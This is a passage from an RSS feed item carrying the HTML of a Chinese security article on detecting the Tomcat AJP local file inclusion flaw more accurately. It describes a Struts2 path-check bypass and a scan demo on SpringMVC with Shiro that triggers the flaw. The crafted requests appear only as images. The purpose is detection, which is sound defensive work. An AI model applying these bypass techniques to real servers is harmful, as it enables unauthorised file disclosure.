&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">在开头，才会返回</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);">null</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">，最终抛出非法路径的异常。</span></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">所以在</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">Struts2</span><span style="letter-spacing: 1px;">框架下检测该漏洞，需要构造如下请求来绕过。</span></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.361244019138756" data-s="300,640" style="" data-type="png" data-w="836" src="https://wechat2rss.xlab.app/img-proxy/?k=37d4e70d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4Yx4jj1VGWTibs6RzIYCQB6R8QV3kbvcZib1wgiabpWZmXpzVFnnwyNoArqQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x07 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 18px;"><strong><span style="letter-spacing: 1px;">扫描演示 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 20px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;">最后便可以将以上各个场景的特点综合起来，编写扫描工具了。这里我搭建了SpringMVC + Shiro的环境进行演示。</span><strong><span style="letter-spacing: 1px;font-size: 14px;color: rgb(171, 25, 66);">可以发现其他的url都重定向了，只有针对shiro构造的请求是200，并成功触发漏洞！</span></strong></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.56796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=946b2d82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLextY8rpMc5ic8JyNfSibY3YC96pBerRwZ3f80Md6IHqMgzx4iayfUN950yw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 16px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x08 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 16px;"><strong><span style="letter-spacing: 1px;">最后的话 </span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="letter-spacing: 1px;font-size: 14px;">1. 本文只对每种环境较新版本进行分析，所以提供的扫描方案不可能适配所有版本环境，算是对精确检测做一个抛砖引玉。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;margin-bottom: 10px;"><span style="font-size: 14px;"><span style="font-size: 14px;letter-spacing: 1px;">2. 每种环境下的检测方案，只考虑使用Tomcat默认存在缺陷的两个Servlet（</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">JspServlet</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">DefaultServlet</span><span style="font-size: 14px;letter-spacing: 1px;">）来检测，更完美的方案应该是去找每种环境下其他存在缺陷的Servlet。</span></span></section>



<p><a href="http://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=801bb728&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484009%26idx%3D1%26sn%3D529c02d43f1d12d680bf077347df41be%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Mar 2020 19:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>